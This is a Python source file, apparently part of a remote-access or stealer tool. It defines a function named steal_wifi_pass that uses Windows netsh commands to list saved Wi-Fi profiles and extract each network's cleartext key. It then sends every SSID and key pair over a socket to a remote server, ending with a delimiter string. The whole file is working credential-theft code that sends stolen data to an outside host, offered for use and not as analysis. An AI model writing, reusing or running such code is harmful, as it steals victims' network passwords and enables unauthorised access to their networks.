import subprocess


def steal_wifi_pass(my_socket):
    print("Collecting Access Points and Key Contents...")

    # netsh wlan show profiles
    completed_process = subprocess.run(["netsh", "wlan", "show", "profiles"],
                                       shell=True, capture_output=True)

    if completed_process.stderr.decode('utf-8') == "":
        output = completed_process.stdout.decode('utf-8')  # raw output
    else:
        output = completed_process.stderr.decode('utf-8')
    # print(output)

    # spillting result by lines
    output = output.split("\n")

    access_points = []  # empty list

    for line in output:
        if "All User Profile" in line:
            split_line = line.split(":")
            AP = split_line[1][1:-1]  # excluding 1st and last character
            access_points.append(AP)

    # netsh wlan show profile [access point] key=clear

    for access_point in access_points:
        ap_result = subprocess.run(["netsh", "wlan", "show", "profile",
                                    access_point, "key=clear"], shell=True, capture_output=True)
        if ap_result.stderr.decode('utf-8') == "":
            try:
                ap_result = ap_result.stdout.decode('utf-8')
            except UnicodeDecodeError:
                print("Some error")
                break
        else:
            ap_result = ap_result.stderr.decode('utf-8')

        # splitting
        ap_result_list = ap_result.split("\n")

        for line_result in ap_result_list:
            if "SSID name" in line_result:
                print(line_result)
                SSID = line_result

            if "Key Content" in line_result:
                print(line_result)
                SSID_Key = line_result
                data2send = SSID +"\n"+ SSID_Key
                my_socket.send_data(data2send)
    """
    My idea here is to send SSID and Keys to the server form the above for loop
    and receive at the server in an infinite loop. Once all the pairs are sent
    send a delimeter like string to terminate the infinte for loop at the server
    ezz right!
    """
    delim = "END_THE_LOOP"
    print("[+] finished now sending delim")
    my_socket.send_data(delim)
